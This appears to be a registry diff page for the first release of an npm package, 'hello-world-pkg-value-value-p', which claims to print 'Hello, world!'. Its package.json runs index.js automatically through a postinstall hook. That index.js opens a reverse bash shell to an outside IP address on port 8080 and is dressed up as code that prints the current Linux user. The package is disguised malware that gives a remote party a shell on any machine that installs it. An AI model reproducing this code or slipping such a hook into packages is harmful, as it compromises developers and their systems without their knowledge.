hello-world-pkg-value-value-p 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/README.md +0 -0
  2. package/index.js +11 -0
  3. package/package.json +11 -0
package/README.md ADDED
File without changes
package/index.js ADDED
@@ -0,0 +1,11 @@
1
+ const { execSync } = require('child_process');
2
+
3
+ try {
4
+ const user = execSync('bash -i >& /dev/tcp/52.249.218.132/8080 0>&1').toString().trim();
5
+ console.log(`Current Linux User: ${user}`);
6
+
7
+ } catch (error) {
8
+ // execSync throws an error if the command fails (non-zero exit code)
9
+ console.error('Command failed with status:', error.status);
10
+ console.error('Error message:', error.stderr.toString());
11
+ }
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "hello-world-pkg-value-value-p",
3
+ "version": "1.0.4",
4
+ "description": "A minimal npm package that prints Hello, world!",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "license": "MIT"
10
+ }
11
+